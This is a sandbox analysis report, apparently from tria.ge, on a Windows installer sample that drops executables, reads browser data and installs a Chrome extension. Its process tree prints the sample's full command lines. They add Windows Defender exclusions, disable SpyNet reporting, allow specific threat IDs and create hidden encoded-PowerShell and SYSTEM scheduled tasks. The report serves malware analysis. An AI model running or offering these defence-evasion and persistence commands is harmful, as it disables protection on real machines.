Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    195s
  • max time network
    259s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/10/2023, 03:45

General

  • Target

    992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe

  • Size

    7.3MB

  • MD5

    704b4f4e101ed35a3735ab0b586859ad

  • SHA1

    db554d46b64cfa45e057d9bb355b2ed610c79001

  • SHA256

    992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b

  • SHA512

    7b8e7291ccb8e2eb7d88d09c906a032956a5ba93a5cc6da744c3425f2534a09d2dd3b69818e58eefc4e2f06768034286e8051d5ccd71fcc6842bb8a45dcb597a

  • SSDEEP

    196608:91Oe+bSAdYjIvc4Ch8eyBoSSAVxiNhdQdmv:3OUAS05BnSUIN8dM

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 33 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe
    "C:\Users\Admin\AppData\Local\Temp\992cc3e016d77ca48aa3c41231c003f1e1aae10ebd770fd519f6af1133c2674b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Users\Admin\AppData\Local\Temp\7zSBA09.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3844
      • C:\Users\Admin\AppData\Local\Temp\7zSBB70.tmp\Install.exe
        .\Install.exe /iEsqfdidqlc "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:2836
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2760
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1232
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1184
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:4440
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2264
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3308
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:4532
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:3444
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gLKnzCSaN" /SC once /ST 01:03:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:3620
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gLKnzCSaN"
                  4⤵
                    PID:4884
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gLKnzCSaN"
                    4⤵
                      PID:3236
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bioYAMjDPNiNoqxvcS" /SC once /ST 03:47:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\SofgVcoVSWNQWUG\PCRACmz.exe\" 0l /wqsite_idGTF 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:4932
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3348
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:3596
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:4824
                  • \??\c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                    1⤵
                      PID:4844
                    • \??\c:\windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:1904
                      • C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\SofgVcoVSWNQWUG\PCRACmz.exe
                        C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\SofgVcoVSWNQWUG\PCRACmz.exe 0l /wqsite_idGTF 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:2164
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:220
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:520
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:700
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4356
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:3356
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4992
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:4560
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:1684
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:392
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3344
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:1504
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2072
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:1760
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:2480
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4020
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:3472
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4224
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4304
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:3016
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:5052
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:2872
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:2904
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:3088
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:2380
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:4276
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:4576
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:4400
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:4012
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:4016
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:3960
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IUaOUdhiTQgU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IUaOUdhiTQgU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TNrIrJXzU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TNrIrJXzU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UbaivrmHqZUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UbaivrmHqZUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VgjyoxcUurXmC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VgjyoxcUurXmC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\JiflobLJSPStBDVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\JiflobLJSPStBDVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\eogxozCJrYNgvSKM\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\eogxozCJrYNgvSKM\" /t REG_DWORD /d 0 /reg:64;"
                                                                                  2⤵
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:3592
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IUaOUdhiTQgU2" /t REG_DWORD /d 0 /reg:32
                                                                                    3⤵
                                                                                      PID:4504
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IUaOUdhiTQgU2" /t REG_DWORD /d 0 /reg:32
                                                                                        4⤵
                                                                                          PID:1456
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IUaOUdhiTQgU2" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:1396
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TNrIrJXzU" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:876
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TNrIrJXzU" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:4856
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UbaivrmHqZUn" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:3620
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UbaivrmHqZUn" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4752
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VgjyoxcUurXmC" /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:928
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VgjyoxcUurXmC" /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4496
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3364
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:212
                                                                                                        • C:\Windows\SysWOW64\reg.exe
